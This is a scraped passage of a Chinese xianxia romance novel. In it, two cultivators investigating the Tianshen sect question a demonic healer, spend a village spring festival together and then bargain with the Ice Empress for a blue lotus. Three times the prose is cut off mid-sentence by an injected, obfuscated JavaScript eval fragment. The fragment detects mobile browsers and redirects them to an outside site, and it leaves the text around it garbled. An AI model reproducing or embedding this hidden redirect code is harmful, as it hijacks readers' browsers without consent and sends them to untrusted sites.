转回去?西九岭感到自己的世界观再一次被震撼,“酒夕”的想法总是这么大胆。但仔细琢磨一下就觉得她说的不无道理,既然灵气能够转化为魔气,那魔气为何不能转化为灵气? 魏宁苦笑道:“哪有这么容易?这些年我试过了很多方法,但始终无法将魔气转回成灵气。” 苏晴沄叹了口气,这家伙开的不会是个单向传送门吧? 西九岭一脸严肃地看向魏宁,郑重道:“关于这件事,可否请魏道友暂时保密?”贸然公布,只怕要天下大乱。 魏宁自嘲一笑,“我能对谁说呢?除了你们,就只有家师才会相信我这个逆徒了吧?”他的视线看向远方,语气也变得悠远,“别看我如今这副模样,想当初可是拜在长明真人门下,以药王为目标的医道奇才呢。” 西、苏二人听他这么说,都有些诧异。长明真人乃是当今天下最有威望的名医,他出身医道世家,自幼在药王谷修习,医术冠绝天下。更重要的是,他不像当代药王这般隐匿深谷,经常出谷游历、救死扶伤,故而名声远播更胜药王。只是近些年似乎没有出谷,传闻是要闭关炼制绝世仙丹。 没想到魏宁竟然是他的徒弟。 魏宁继续说道:“当年我恃才傲物,仗着天赋卓绝妄言要开创可医百病的绝世功法,而且确实成功了,就连药王也对我赞不绝口,那时可真是风光无限……可惜好景不长,没多久我就发现了功法的缺陷,但却没有告诉任何人…… 药王谷悬壶济世、清誉满门,如何能容得□□内生出魔气之人?而且起初只有一点点,我想只要用灵气压制便可以了。” 说到这里他叹了口气,抬头看向星空,“那一日也是这般的星空,我体内的魔气再也无法压制,终于是被师父发现了。他让我在房中等他,说他会去跟药王说,说他会为我想办法……可我没有相信,药王谷不可能容下一个魔修……所以他一走,我就逃了。” 西、苏二人都觉得这个选择无可厚非,毕竟药王谷是天下皆知的傲然清高,绝不可能容忍谷中有魔修存在。 魏宁却叹了口气,说道:“没想到,师父他真的做到了。” 听着的两人都现出惊讶之色,难道长明真人说服了药王?可今天那两个修士不是来抓魏宁的吗? 魏宁说道:“家师说服药王将我这逆徒的事情交由他全权处理。若非李肃说明,我都不知道家师在上个月……已经仙逝了。” 原来如此,怪不得药王谷的人现在才来,这确实要比之前没想到神医是魏宁的说辞可信多了。 苏晴沄想说节哀,但开口却是问道:“你后悔吗?”如果当年留下,那非但不会被问罪,而且还能为师父送终。 魏宁却摇了摇头,“不后悔。若我留下,或许不会受到责罚,但也必定不能再有治病救人的机会。留下,不过是变成废人罢了。” 西九岭轻轻点了下头。就好像齐鹤扬,他顶多看在大师兄的面子上隐瞒其被魔气浸染之事,但绝不可能再让其自由行动。 说到这里,魏宁起身向二人郑重施了一礼,“今日若非两位道友出手,只怕魏宁再无行医救人的机会,此恩如同再造!只是我这苟延残喘之躯怕也不能如何报答,反还要连累两位为我这蠢人受难了。” 即便画圣护犊子,只怕私下里也要责罚这位姑娘,更别说穹山天下第一仙门,怎么可能放过袒护魔修的弟子? 苏晴沄摆了摆手,“魏道友无需担心,若要感谢就帮我们再想想,是否见过秦家车队里一个叫卢严的人吧。”她那便宜爹娘跟舅舅都是一个路数——护犊子,旁边那位更是有个天下第一的穹山掌门罩着,怎么可能有事? 西九岭有些无奈地看了她一眼,也不知这姑娘是哪儿来的自信。 “卢严么……”魏宁仔细回想了一番,“我倒是记得秦家车队,他们有十一个人中毒,在我这院里治疗了一段时间,但里面并没有叫卢严的。” “中毒?不是疫病吗?” “不是。”魏宁肯定道,“是附近山林中一种菌子的毒,也有发热、呕吐的症状,应该是误食了。” 西九岭取出卢严的画像递给他,“你看看,可曾见过此人?” 魏宁接过来看了一眼,然后点了下头,“见过,这人是秦家车队里的,不过没有中毒,并未在我这里就诊。” “也没找你说过话吗?”苏晴沄有些疑惑。 西九岭从旁解释道:“这人便是卢严,是一名天神教徒。既然他来了这里,应该发现了你是魔修,按理说会跟你接触才对。” 魏宁露出恍然之色,“原来你们是在查天神教的事,那我倒真知道一些。” 苏晴沄大喜,“卢严果然是来找你的!” 魏宁缓缓摇头,“那个卢严并未找过我。天神教有专人负责传教,其余教徒即便遇到可以引荐的魔修,也只能向上汇报,不能擅自接触。” “你竟然知道这些?”西九岭难掩惊讶,就连他们也不清楚天神教是如何传教的。 魏宁淡然道:“因为四年前曾有个天神教的传教者与我接触。” “天神教怎么会知道你的?” “可能是因为我诊治过的病患中也有些魔修吧。” 苏晴沄默然点头,其实问出口后她就自己想明白了。修士本就不易患病,受伤或中毒一般都会去找相熟的丹师,再不济还有药王谷。只有生活在阴影之下的魔修才会跑到这种偏僻村落求医问丹,而魏宁给魔修治疗也不需要隐藏自己入魔的事情,会被天神教知道确实没什么稀奇。 西九岭问道:“那人可来自济水或柳城?” 魏宁想了想,然后摇头道:“听口音很难分辨,但我猜想他该是凌国人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12912570|133627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “凌国人?!”旁听的二人异口同声惊呼,天神教已经发展到凌国了吗? 魏宁点了下头,“那人四年前第一次出现,自称韩旭,脸嘛,应该是假的。他当时佩戴了隐藏魔气的法宝,让我医治的也是个凡人,所以我并未察觉他的身份。 第二次来的时候,他带了能够疏通魔气的药酒,我才知道他是魔修。之后他又来过几次,每次间隔三、四个月,也都只是喝酒聊天,我就当他是个入魔的散修。 直到一年前那次……当时的我魔气淤积五脏、行将就木,正在考虑寻个隐蔽洞穴等死。他来的那日还是带着酒,而我也正想在死前喝个痛快。酒过三巡,我突然体内魔气暴动,晕倒的一刻还以为自己就这么死了。可再睁开眼,发现我还活着,而且体内魔气竟然消减了许多。 那时韩旭才告诉我他是天神教的人,刚才给我用了教中秘药,还说如果我能入教成为他的兄弟,他会持续为我提供秘药、为我延年益寿。我那时着实吃了一惊,没想到三百年前覆灭的天神教居然重现世间,而且还找上了我! 事后,我探查了自己的经脉,发现里面残留的灵气是我从未见过的。但也因为从未见过,所以便览医书的我立刻推测出了他使用的药材。” “是什么?” 魏宁眼神笃定地说道:“蓝莲花。” “蓝莲花?你确定?” “是。”魏宁无比确信,“从小在药王谷长大的我也没见过的药材,而且还能消减魔气,除了蓝莲花我想不到其他。” 西、苏二人交换了一个眼神。如果魏宁猜的没错,那么名为韩旭的天神教徒就肯定来自凌国,因为蓝莲花只能生长在这片大陆最北端的圣雪峰上,而那里是凌国的领地。 可是……穹山、景国,现在再加上凌国,天神教竟然已经扩张至此了吗? 西九岭将视线转回魏宁身上,“若他真能持续提供蓝莲花,那这个条件实在太诱人了,你为何没有答应?” 魏宁道:“说实话,当时的我真的很动心。刚刚在生死边缘打了个转,原本等死的念头就有些松动。如果活下去,就能继续行医,而且只要时间充裕我便有可能进阶元婴,到时候功法也会有所突破,说不能就能得以改善了……” “但你没有跟他走。”苏晴沄也觉得有些不可思议。 “是,我没跟他走。虽然我对仙道历史课程没有兴趣,但也知道逢尤之乱屠人二十万,知道天神教当年喊出的口号是杀尽天下修士。我是医者,我只会救人。” “那个韩旭没有逼你?”西九岭微微蹙眉,天神教这么好说话的吗? “没有。”魏宁道,“在我拒绝之后他便走了,临走时,对我说‘终有一日你会发现这天下容不得你,那时,你自然会成为我的兄弟’。” 苏晴沄本想问那个韩旭难道不怕他告密吗?但随即想到魏宁也是魔修,找修士告密岂不是自投罗网?再想想今日那两个药王谷修士的态度,不禁叹了口气,“或许他说的没错。” “不,他说错了。”魏宁仰望头顶的星空,眼角有些湿润,“李肃告诉我,师父这些年一直在尝试炼制能够消除魔气的丹药,临死前还在丹房里……而今日,那些村民,还有你们,不都容下我了吗?” 他转头看向苏晴沄和西九岭,露出了一个比身后星空更加璀璨的笑容,“若我的余生注定暗如长夜,那家师与你们便是这长夜之上的星空。” 27. 春祭 “哇!大姐姐好厉害!”小桃蹦跳着仰面欢呼,笑容如春日暖阳般灿烂。 左右的玩伴们都是一脸羡慕,齐齐看着苏晴沄将五色彩穗挂到最高的一根树枝上,那个姐姐可是飞上去的啊! “好棒!我也想要!” “大姐姐也帮我挂吧!” “我也要!我也要!” 一群小娃娃将跃下树的苏晴沄团团围住,纷纷举起自己手中的五色彩穗想让她帮忙挂到最高的树枝上。 地母最爱的五色彩穗象征着丰收和吉祥,春祭这天将其挂在树梢,不但能带来一年的好收成,而且还会让人心想事成,黎村的习俗则是挂得越高越能得到好运。 小桃红用力推开平日里要好的玩伴,紧紧拽着苏晴沄的胳膊往家里拉,“大姐姐是我们家的客人,只给我挂!你们走开!走开!”她才不要什么众乐乐,她要最高高! 苏晴沄被这群小娃娃感染,脸上的笑容也是没有断过。 小桃红见她跟着自己的脚步并不积极,立刻产生了危机意识,大喊道:“要是大姐姐帮他们挂,我就不是最高的啦!” 苏晴沄想起出门前答应过小桃红要让她的五色彩穗成为全村最高的一个,只得为了信守承诺对其他小娃娃抱歉一笑,跟着小桃红回家去了。 因为赶上春祭,她和西九岭在村民热情的邀请下多留了一日。 黎村的春祭风俗跟景国其他地方大致相同。人们一早就会在树梢挂上五色彩穗祈求丰收,然后亲手制作吃食带去地母庙祭拜,不过小村子没有花车游行,只是会在晚上摆篝火、吃流水席。 苏晴沄跟小桃红走回家的时候,李婶已经蒸好了花馍馍。见两人回来就招呼小桃红帮忙拿竹篮,然后一边往竹篮里放馍,一边跟苏晴沄说话:“俺这就弄完了,给你腾地儿。那边缸里有面,柴火不够就去棚子取。” 看着苏晴沄一一点头应是,她又有些好奇地问:“姑娘要做什么?” 苏晴沄笑脸灿烂道:“馄饨。” “啊!”李婶拿着布的手停在了半空,“那得用肉吧?” 苏晴沄心领神会道:“不劳费心,我那同伴已经去买了。” 正说着,就听院门吱呀一声,小桃在屋外喊道:“大哥哥,你回来啦!” 李婶赧颜一笑,将布苫在花馍馍上,提起竹篮道:“那俺们先去了。” 看着母女俩一脸喜庆地走出小院,苏晴沄从西九岭手里接过猪肉,转身进了厨房。 西九岭站在厨房门口,有些好奇地问:“我看他们做的都是素食,你要肉干吗?”一早就将他发配去镇上买肉,他还以为景国的风俗是要做肉食祭祀,结果回来的路上看村民端出来的都是果脯、烙饼、馒头一类。 “做馄饨,”苏晴沄回头朝他开心一笑,“昨天我在林子里找到荠菜了!” 西九岭怔了一下,然后看到灶台上放着的一堆绿植,那就是荠菜吗?好像穹山的林子里也有。想起她上次说馄饨不是荠菜馅时的落寞神情,他不禁露出一丝笑容,找到荠菜就很开心了吗…… 很快,小院里只剩下剁馅儿的声音。 西九岭无事可做,就靠在厨房的门框上看苏晴沄做馄饨。 他是玉城遗孤,刚满月就被带上了穹山,从来不知道家是什么样的感觉。早晚功课、统一餐食、日常修炼——这就是他的生活。从有记忆开始,他就是一名修士。家,他没有想过。 可不知道为什么,看着苏晴沄在厨房忙咯的背影,听着剁馅、洗菜、烧柴的声音,他忽然觉得——家应该就是这个样子的。 恍惚间,身上的传讯符有了动静,他转身退到院子里查看。 是廖辰发来的消息:药王谷那边让秋水去解释了,她跟药王素有来往,好说话些。至于灵气会转化成魔气的事情,我跟秋水讨论了一下,觉得还是暂时不告诉其他几位长老,先让秋水研究一下,以免横生枝节。 西九岭:好。 廖辰:你那边怎么样?已经去凌国了吗? 西九岭:还没,今日春祭,景国人都在庆祝。 廖辰:那跟你这个穹山掌门去凌国有什么关系? 西九岭:…… 廖辰:是不是魏宁那边有事?他又提供什么新的线索了吗? 西九岭一时间不知道该如何解释。其实苏晴沄接受村民邀请的时候他没觉得有什么不妥,很自然的就跟着她一起留下了。可现在他却回答不出,一个穹山掌门去凌国,为什么会受到景国春祭的影响? “酒夕”没有嫌疑,他早就该放她离开了的,现在其实就是个不错的时机,可为什么心底总有个声音说不愿意呢? 他不知该怎么回复,索性将问题丢了过去:如果有个人你并不熟悉却感觉很亲近,明明不该牵扯却又忍不住想在一起,是不是很奇怪? 廖辰:那就是喜欢那个人啊,有什么奇怪的? 廖辰:等等!你该不会是恋爱了吧?谁家姑娘,该不会就是那个跟着你调查的画圣侍女吧? 廖辰:我记得她叫酒夕吧,她已经知道你的身份了吗?我们要不要想办法联系画圣提亲? 廖辰:可你是决定要入缚魔阵的吧?那姑娘知道吗? 廖辰:风长老已经元婴后期大圆满了,我们要不要全力助他突破化神? 西九岭呆呆地看着一条条消息传过来,心里只反复重复着那一句——就是喜欢那个人啊。原来他是喜欢上了她吗? 直到最后一条消息浮现在眼前,他终于醒了般心头一沉,回道:玉玦陨落之前没人能够化神。 极道有数,逢九必陨。是的,他必须接替玉玦入阵。 稍微稳了稳心神,他发了一句:刚才问的不是我。 然后对面半天没有动静,直到他以为廖辰去忙公务、准备收起传讯符的时候,对面才又回了一条消息:那就好。 看到这条回复,他忍不住苦笑摇头,自己刚刚是哪门子的此地无银三百两?现在廖辰回了个邻家王二不曾偷,真是何苦来哉。 这时,苏晴沄端着两碗馄饨走了出来,“让开,让开,好烫!” 她挤开挡在路上的男人,将手里的碗放到了院子中间的木桌上,然后两只手捏了捏耳朵,扭头换他:“煮好了,一起吃啊。” 西九岭心里还有些乱,听她招呼便机械地走到桌边坐下,看着碗里热腾腾的馄饨发起了呆。 苏晴沄坐到他对面,盛起一颗馄饨吹了吹,见他没有动作便有些疑惑,“怎么不吃?” 西九岭这才回过神来,也有些疑惑,“不是要拿去村庙供奉的吗?” 苏晴沄笑道:“地母又不会吃东西,何必拿过去浪费?”说完便吃了口馄饨,赞道,“果然馄饨还是要吃荠菜馅儿!” 看着她一脸满足的样子,西九岭唇角不自觉地上扬,还真是一如既往的语出惊人。他端起碗,视线却一直停留在眼前人的身上。 此时的她眉梢眼角都透着喜悦之情,让人忍不住想多看几眼。长眉如黛、杏眼含波、丹唇如樱、凝脂似玉,虽然上挑的眼尾略显傲气,但干净的瞳仁却透着平和,眉峰虽然不够柔美,却平添了几分飒爽之气。 初见时他就知道她是世间少有的美人,只是那时候并不认为自己会喜欢这种美丽。是什么时候开始的?他竟有些贪恋眼前这人的容颜…… “你怎么不吃啊?”苏晴沄一碗馄饨快见底了,抬头却发现对面的人还没端起碗。 西九岭被她突然抬头的动作吓了一跳,连忙将脸埋在碗上,一勺接一勺地吃起馄饨,一边吃一边嘟囔:“好吃,好吃!” “嗳,你吃慢点儿,别噎着啦。怎么耳朵红了,还烫吗?” 咳、咳、咳! “看,噎到了吧!” 一双燕子飞过柳梢,春风拨动绿叶簌簌作响,小院中两人捧碗对坐,栅栏外的连翘绽放金黄。 迟迟没有等到两人的小桃母女回来后就一个劲儿的抱怨,发现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12954916|133627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人把给地母包的馄饨吃了后更是大惊失色。 得知苏晴沄给她们母女留了一份,李婶二话不说进厨房煮好馄饨、装进食盒,然后逼着苏晴沄和西九岭去了村庙。 等两人从村庙回来,村民们已经在河边搭好了柴堆和行灶,到了傍晚所有人都挤到了这里,流水席沿着河岸铺开足有一里地。 酒过三巡篝火便高高燃起,享受过美食的村民们围在篝火边唱歌、跳舞、赞美着大地的恩惠。 当看到魏宁被几个孩子推搡到篝火前,苏晴沄不禁笑弯了眼,但随即又望着那模糊在火光中的背影有些怅然,这些村民只怕还不知道他们的神医已经命不久矣。 “我问过魏宁,”西九岭看着她注视的方向,“一年之内他很可能进阶元婴,所以才让药王谷的人再给他些时间。” 苏晴沄这才想起,魏宁确实说过如果功法进阶就有可能找到解决的办法,但真有这么容易吗? 知道“齐鹤扬”是在安慰自己,她也不想太过多愁善感,扭头露出一个微笑,问道:“咱们接下来去哪儿?凌国吗?” “你……要一起去吗?”西九岭觉得自己的胸口如鼓噪一般,在发现自己心意之后他已经不知多少遍告诉自己该让“酒夕”离开,可是内心深处却总怀有一丝期待,期待她能留下来。 “当然要!”苏晴沄瞪大了眼睛,“帮你查了这么久,我总该有权利知道自己是被什么人坑成了嫌疑犯吧?” 听她这么说,西九岭也不知是喜是忧,只得压下心头的纷乱说起正事:“蓝莲花只生长于大陆最北端的圣雪峰天池,三十年才开一次花,花开后必须立刻取下收入特制的寒玉匣中,否则药效便会折损。而圣雪峰本是寒川天女冷无双的洞府仙山,她陨落后就传给了唯一的徒弟姬霜……” 苏晴沄微微张开了嘴,她之前怎么忘了这事……蓝莲花也不是随便什么凌国人都能得到的,那里是姬霜的地盘,是统一北境的凌国君主、人称冰帝的一代女皇所独掌的花朵! 西九岭见她已经想到了关窍,继续道:“我不知道天池中有多少蓝莲花,但应该极为稀有,因为据我所知冰帝只送出过四朵蓝莲花。一朵是贺西九岭接任掌门,一朵是贺大景建国,一朵是贺文洛川以画入圣,最后一朵是在二十三年前作为诊金送给药王。” 苏晴沄思索道:“你们在查天神教,所以韩旭那朵蓝莲花应该不是你家掌门的。景国那朵……据说在上代景后重病时曾经用过三片花瓣,已经不完整,所以也不是。画、我家老爷只关心画画,不会掺和天神教的事。药王既然会派人来抓魏宁,那肯定也不会让韩旭去救魏宁。所以只能是冰帝那边……” “不错。那个叫韩旭的人多半与凌国皇室有关,甚至是跟冰帝有关。” “所以说咱们不但要去凌国,而且还要去调查他们的皇室。” “卢严那条线索已经断了,在没有新的消息之前,凌国皇室是唯一的突破口。” 苏晴沄抬手揉捏眉头,如果说画圣脾气最怪,那同为化神的冰帝就是心肠最狠。 据说这位女帝当年为了平息内乱毫不犹豫地杀死了自己的亲哥哥,还看着母亲以头抢地而亡。之后虽然为了安抚母族招赘了自己的表哥,但却始终没有分出一丝权力给那位夫君,最终在二十三年前逼反了夫家,然后又以雷霆手段剿灭了对方全族,彻底除去了凌国的隐患。传闻她挥刀斩下自己夫婿头颅的时候,已经有了五个月的身孕…… 这样一个人,他们该怎么查?不,说查还早了,他们得先想办法接近对方才行啊! 依那个冰帝的脾气,她觉得就算自己报出景国公主的名头,对方也只会让她滚回去换爹来,更别说他们现在只是两个小小的金丹,吃闭门羹都算便宜他俩了。只能想个迂回的办法接近对方。 可是要怎么迂回才能接近一个被层层护卫、高居皇位的王者?而且还不是一般的王者,是天下最冷血冷情的王者!冰帝姬霜,那是想见就能见的吗?! 28. 冰帝姬霜 坐在凌国皇宫大殿上,苏晴沄除了震撼还是震撼! 让她震撼的不是通体寒玉、纯白肃穆的宫殿,也不是王座上那位气象威严的女皇,而是坐在自己身边、一路同行的神队友“齐鹤扬”!冰帝都能立刻接见,你家掌门这腰撑得是有多硬! 是不是当今化神除了自己这位新晋突破的,其他人都认识“齐鹤扬”? 心里想着,她就忍不住瞥了过去。这姿容、这身段、这气质,这就是霸道总裁求之不得又难以割舍的小白花啊! 西九岭注意到了她投来的视线,更郁闷地是他竟然看懂了里面的意思。要不是此时此刻正在凌国皇宫的大殿上与冰帝姬霜面谈,他真想立刻起身走人! 姬霜高坐在寒玉王座之上,有些玩味地看着坐在殿下的两人,“画圣侍女吗?” 穹山掌门隐瞒姓名显然是因为这姑娘,可说起魔神暴动导致玉玦受伤需要蓝莲花压制魔气却丝毫没有避讳,这就有意思了。 苏晴沄抬头看向王座上的女人,只觉得她那双冰蓝色的眼睛在看自己,又似乎没看自己,“是。” 姬霜的双眼微微眯起,她明显感觉到这位名叫酒夕的女子对自己没有丝毫畏惧,是因为经常在画圣身边行走的缘故吗? 苏晴沄决定忽视凌王的打量,正襟危坐、闭口不言。开疆扩土的北境帝王可不是笑眯眯的路痴和尚,知人善察、难眩以伪,一个不小心就会露馅的。 西九岭大概明白姬霜的疑惑,但若要解释为何带着苏晴沄就势必会提及他们的调查,现在还不是时候,“那么蓝莲花的事情……” 姬霜将视线转回穹山掌门的身上,唇角一勾,“你们掌门那朵蓝莲花呢?”当年北境诸王纷争穹山没有干涉,那个人情她可是还给西九岭了,一整朵还不够吗? 西九岭坦然道:“这些年炼制丹药已经用去了三分之二,剩余已给玉师兄服下。只是担心此次魔力暴动并不单纯,故而想多做些准备。” 要查蓝莲花就必须找个借口,他已经模拟过多次与姬霜的对话,这个半真半假、看似遮掩的说辞是早就想好的。 魔力暴动,这个词立刻让姬霜联想到了三百年前那场逢尤之乱,其开端也不过是一次不起眼的魔力暴动,而当时看守魔神的化神大能最终以身殉道,她记得当时也是化神满九…… “只是提前做准备吗……该不会玉玦已经被魔气侵蚀,快不行了吧?” “若是如此,今日我便不在这里。”化神满九,天下人都在猜测谁会陨落,西九岭早料到姬霜会有此问。 “也对,”姬霜笑了笑,若是玉玦将陨,多少蓝莲花也救不回来,而穹山掌门则应该忙着接阵的事情才对,“那孤就安心了,否则穹山实力大损,景国可就要借题发挥了。” 借题发挥?苏晴沄不明白怎么突然扯到景国头上了,忍不住抬眼看向王座上的女人。 姬霜敏锐地察觉到了她的视线,有些不怀好意地瞥了眼西九岭,“听说景王之前差点儿发兵,不过最终还是忍住了。孤觉得景王很是明智,毕竟实力太过接近,打起来对双方都没好处。” 怎么又说起她被退婚的事儿了?苏晴沄突然有些忐忑,该不会自己的身份被看破了吧?在脑海中复盘一遍自己上殿后的行为举止,应该没有破绽啊…… 西九岭的脸有点僵,他不太想在“酒夕”面前提起这个,更不希望姬霜发现他对“酒夕”的感情。 姬霜继续道:“要是玉玦陨落,剑圣和西九岭就必须有一个入缚魔阵,到时候景国再为公主讨回公道,赢面就大得多了。” 原来是说景国可以借退婚之事出兵,害她虚惊一场。苏晴沄暗自舒了口气,转而又觉得帝王心果真与常人不同,听到玉玦需要蓝莲花就想了这么多。 不过听起来这位凌王应该会为了不让景国一家独大而拿出蓝莲花,如此一来他们的目的也就达到了。 不如推她一下……苏晴沄想着便要开口,可手背却突然被身边的“齐鹤扬”按了一下。 她有些疑惑地看过去,就见“齐鹤扬”不着痕迹地收回手,借着衣袖的遮挡朝她摆了摆。是说要让凌王自己做决定吗?她醒悟的同时暗生佩服,不愧是能拿捏天下第一人的小白花! 两人的小动作自然没有逃过姬霜的眼睛,她有些好笑地看向画圣侍女,“你觉得西九岭怎么样?” “啊?”这位凌王的思维也太跳跃了吧?苏晴沄莫名其妙,又怕问题里面有陷阱,谨慎道,“我不认识他啊。” “但你应该听过他的事吧?比如退婚。” 西九岭后槽牙都快咬碎了,请人帮忙掩饰身份果然是要付出代价的。 苏晴沄眨了眨眼,然后看向“齐鹤扬”若有所思,“西九岭……” 西九岭不禁心头一跳,几乎就要以为自己的身份被看穿了。王座上的姬霜也微微睁大了眼,该不会玩儿过了吧?她只是想让西九岭知道找自己帮忙不是那么简单的。 “应该是个敢爱敢恨的人吧。”苏晴沄觉得这个回答还算中性,应该不会有什么问题。 ??? 西九岭一头雾水了片刻,然后从女人眼中看出了感动和鼓励的味道,突然就明白了她口中那个敢爱敢恨的对象是谁…… 姬霜愣了一下,然后突然想到画屏山流出的谣言,哈哈哈大笑起来,这姑娘太有意思了!再看穹山掌门那张臭脸,真是挣到了。 见好就收,姬霜主动拉回了话题:“不知穹山愿以何代价换取蓝莲花?” 西九岭如释重负地转向王座,开口道:“一千五百枚灵石。” 苏晴沄瞬间瞪大了眼睛。她来到这里后便发现这个世界的修士买卖物品跟凡人一样是使用金银的,灵石是很珍贵的修炼资源,鲜少拿来交易,就连她这个大景公主、堂堂化神,小金库里的灵石也不到万枚。 紧接着,西九岭又补充了两个字:“一朵。” 苏晴沄觉得这个价格已经很有诚意了,可王座上的姬霜却闭上了眼睛,仿佛是在思考这笔买卖是否划算。 见王座上的人依然没有松口,西九岭开口加了砝码:“两千枚灵石。”求取蓝莲花不是穹山的需要,只能他自掏腰包。虽然两千枚有些肉疼,但无论如何也要说服姬霜拿出蓝莲花,只有这样才能进一步获取信息。 姬霜终于睁开了眼,看着穹山掌门意味深长道:“若不是你站在这里,孤真的怀疑玉玦要不行了。” 苏晴沄听不懂她话中暗含的意思,满脑袋想的都是两千枚灵石……当什么化神?种花去啊! 然后就听冰帝开口道:“其实蓝莲花如今并不在孤手中。” 啊? 这下西九岭和苏晴沄都懵了,蓝莲花不在冰帝手中在谁手中?再说要没蓝莲花你跟我们谈什么价钱啊? 西九岭忍不住起身问道:“我记得阁下功法修炼会使用蓝莲花炼制的丹药辅助吧?”你能把蓝莲花给人? 苏晴沄并未多想“齐鹤扬”的问话有何不妥,她只是记得自己也知道这件事,在仙门和世家高层中,这并不是个秘密。所以,冰帝不可能把蓝莲花的控制权交给别人。 姬霜轻轻叹了口气,“两位有所不知。小女因先天不足之症曾请药王开过一张药方,此方需要定期服用,并以蓝莲花做药引。自那以后,孤就再也没有用过蓝莲花了。而小女十六岁建府后,蓝莲花便都存入了公主府私库,如今是否有结余能给穹山,孤也说不准啊。” 西、苏二人一时间都不知该说什么好。 冰帝之女平乐公主先天不足无法修炼,这是整个修仙界皆知的事情。而药王曾经为平乐公主诊治也不是什么秘密,但公主的病竟然还需要一直定期服用丹药,并以蓝莲花做药引,这却是他们没有料到的。 现在他们知道了蓝莲花应该是从公主府流出的,调查重点是公主及其近人,可问题是人家拿来续命的东西,该怎么开口索要? 见两人沉默,姬霜再度开口:“孤也知道魔神之事不可掉以轻心,玉玦道友更是为天下人守阵,凌国自当尽力相助。若蓝莲花有所富裕,孤愿意让小女拿出一朵,”说道这里她停顿了一下,看向西九岭的眼睛,“但有个条件。” 西九岭微微眯了下眼,不知这位凌王要穹山拿什么交换。 姬霜微微勾起唇角,想起自己当年上穹山求见西九岭的谦恭谨慎,突然有种时过境迁的感觉,终于有一天是穹山掌门站在了她的殿下,“孤希望穹山掌门能为小女梦见一次。” 听到这个条件的瞬间苏晴沄心中大定——这你可是问对人了!要是一般人,想找穹山掌门帮这忙可谓是痴人说梦,但她身边这位就不同了,纵使穹山掌门要为此闭关数日、损耗法力、消磨神识,也一定会帮她身边这位达偿所愿! 果然,她听到身边人淡然开口:“可以。” 北境帝国的首都此时还只是冰雪初消的天气,靠近西城门的驿站因为突如其来的客人而临时烧起了炭火,只不过一时半会儿还无法让房间温暖起来。 苏晴沄有些颓然地躺在床上,一直以来的快节奏调查突然被凌王拉慢了速度,还真有些不适应。可想想在柳城要不是自己拿出公主令牌,只怕也要按部就班走流程。尤其他们担心姬霜知道真相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12971469|133627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后会未免家丑外扬将他们拒之门外,不得不隐瞒天神教的事情,如今只等一天已经是很不错了。 想到这里,她就忍不住感叹自己的神队友,天下化神随便见,想都不想就把穹山掌门的梦见许了出去,这是什么样的面子?什么样的后台? 话说,皓城的名胜古迹有哪些来着?记得最有名的是那个回雁塔吧?传说是地母时代修建的古塔,有七千年历史。反正闲着也是闲着,不如去游览一下。 起身走出房门,透过二楼的栏杆可以看到驿站门口的桌子,此时被特别交代过的驿丞正亲自给“齐鹤扬”倒茶,两人一问一答,似乎是在闲聊。 走到楼梯口的时候苏晴沄便听清了他们的对话。 “平乐公主啊?”驿丞道,“下官刚调来皓城三年,还没福气觐见公主。不过公主每次去马场都会路过咱们这里,下官也见过几次,却有几分陛下的英姿,而且十分心善。” 原来是在打探平乐公主的情报,苏晴沄有些惭愧地想,明明可以靠脸吃饭却还这么努力,怪不得霸道总裁最爱你!相比之下自己只想着游山玩水,哎,自省啊,自省。 “你只见公主路过便知公主心善?”西九岭笑问。 “呵呵,咱们这位公主没什么架子,平日里也会在城中走动,而且只带一两个亲随,所以下官也不是只在这里见过公主策马。”驿丞笑捻着自己的山羊胡,“有次小人在街上看到一个孩童摔倒在地、哇哇大哭,便是刚从留仙居里走出来的公主将他扶起来哄笑的。能有这么心善的公主,实在是我凌国之福啊。” 苏晴沄走下楼梯时正听他说到凌国之福,忍不住开口:“要是公主能修炼就好了。”能修炼才能活过她那位娘亲、继承大统,否则顶多招赘驸马、生个继承人。 驿丞脸上的笑容褪去,叹了口气,提起半空的茶壶欠了下身就去后厨蓄水了。 西九岭转头瞪了“酒夕”一眼,后者耸了耸肩。 “我也是想打探一下公主的病情嘛,谁知道他会跑啊?” “平乐公主的病在凌国是忌讳。” “为什么?” “因为当年有人说公主先天不足是因为遭母亲牵连,在胎中时便犯下了弑父大罪。” 苏晴沄恍然,“那个人现在怎么样了?” 西九岭丢给她一个意味深长的眼神,“不知道。” 苏晴沄莫名汗毛倒竖,只觉得他像是在说那人已经被抹除的干干净净,不可能在世间留下一丝痕迹了。 想来驿丞也不会再跟他们说公主的事情,两人索性走出驿站在附近闲逛,顺便找地方吃点东西。 因为是靠近城门的位置,并没有商铺林立的街道,也没有宾客往来的酒楼,只在斜对面的街角有一个卖面的小摊。 